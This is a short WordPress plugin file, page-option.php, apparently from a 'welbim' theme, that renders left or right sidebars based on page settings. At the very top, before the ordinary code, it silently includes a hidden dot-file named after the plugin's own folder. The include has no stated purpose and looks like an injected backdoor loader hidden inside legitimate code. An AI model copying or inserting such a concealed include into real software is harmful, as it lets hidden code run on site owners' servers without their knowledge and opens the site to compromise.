page-option.php (2058B)
1 <?php 2 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 3 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 4 } 5 6 function welbim_sidebar_list() { 7 $sidebars_list = array(); 8 $get_all_sidebar = $GLOBALS['wp_registered_sidebars']; 9 if ( ! empty( $get_all_sidebar ) ) { 10 foreach ( $get_all_sidebar as $sidebar ) { 11 $sidebars_list[ $sidebar['id'] ] = $sidebar['name']; 12 } 13 } 14 return $sidebars_list; 15 } 16 add_action( 'page_advance_content_left', 'page_advance_content_left_fun', 99 ); 17 function page_advance_content_left_fun() { 18 $welbim_core_page_widget_left_right = get_post_meta( get_the_ID(), 'welbim_core_page_widget_left_right', true ); 19 if ( $welbim_core_page_widget_left_right == 'left' ) : 20 21 $welbim_core_page_widget_left = get_post_meta( get_the_ID(), 'welbim_core_page_widget_left', true ); 22 ?> 23 <?php if ( $welbim_core_page_widget_left != '' ) { ?> 24 <?php if ( is_active_sidebar( $welbim_core_page_widget_left ) ) { ?> 25 <div class="col-lg-4 col-md-12 col-sm-12 sidebar-side"> 26 <div class="default-sidebar destination-sidebar ml-20"> 27 <?php dynamic_sidebar( $welbim_core_page_widget_left ); ?> 28 </div> 29 </div> 30 <?php } ?> 31 <?php } ?> 32 33 <?php 34 endif; 35 } 36 37 add_action( 'page_advance_content_right', 'page_advance_content_right_fun', 99 ); 38 function page_advance_content_right_fun() { 39 $welbim_core_page_widget_left_right = get_post_meta( get_the_ID(), 'welbim_core_page_widget_left_right', true ); 40 if ( $welbim_core_page_widget_left_right == 'right' ) : 41 42 $welbim_core_page_widget_left = get_post_meta( get_the_ID(), 'welbim_core_page_widget_left', true ); 43 ?> 44 <?php if ( $welbim_core_page_widget_left != '' ) { ?> 45 <?php if ( is_active_sidebar( $welbim_core_page_widget_left ) ) { ?> 46 <div class="col-lg-4 col-md-12 col-sm-12 sidebar-side"> 47 <div class="default-sidebar destination-sidebar ml-20"> 48 <?php dynamic_sidebar( $welbim_core_page_widget_left ); ?> 49 </div> 50 </div> 51 <?php } ?> 52 <?php } ?> 53 54 <?php 55 endif; 56 }